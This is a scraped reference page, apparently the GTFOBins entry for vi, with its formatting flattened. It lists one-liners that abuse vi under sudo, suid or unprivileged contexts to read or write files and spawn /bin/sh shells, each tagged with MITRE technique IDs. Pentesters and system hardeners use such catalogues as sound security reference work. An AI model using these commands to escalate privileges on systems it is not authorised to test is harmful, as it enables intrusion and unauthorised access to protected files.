file-read File ReadPrivilege Escalation LinuxmacOS vi /path/to/input-file copy Contextsudo Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/vi/
file-read File ReadPrivilege Escalation LinuxmacOS vi /path/to/input-file copy Contextsuid Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/vi/
file-read File Read LinuxmacOS vi /path/to/input-file copy Contextunprivileged Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/vi/
file-write File WritePrivilege Escalation LinuxmacOS Where `^[` is the escape key. vi /path/to/output-file iDATA ^[ w copy Contextsudo Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/vi/
file-write File WritePrivilege Escalation LinuxmacOS Where `^[` is the escape key. vi /path/to/output-file iDATA ^[ w copy Contextsuid Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/vi/
file-write File Write LinuxmacOS Where `^[` is the escape key. vi /path/to/output-file iDATA ^[ w copy Contextunprivileged Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':!/bin/sh' /dev/null copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':!/bin/sh' /dev/null copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell Execution LinuxmacOS vi -c ':!/bin/sh' /dev/null copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':shell' copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':shell' copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell Execution LinuxmacOS vi -c ':shell' copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':set shell=/bin/sh | shell' copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':set shell=/bin/sh\ -p | shell' copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell Execution LinuxmacOS vi -c ':set shell=/bin/sh | shell' copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c :terminal /bin/sh copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell ExecutionPrivilege Escalation LinuxmacOS vi -c ':terminal /bin/sh -p' copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/
shell Execution LinuxmacOS vi -c :terminal /bin/sh copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/vi/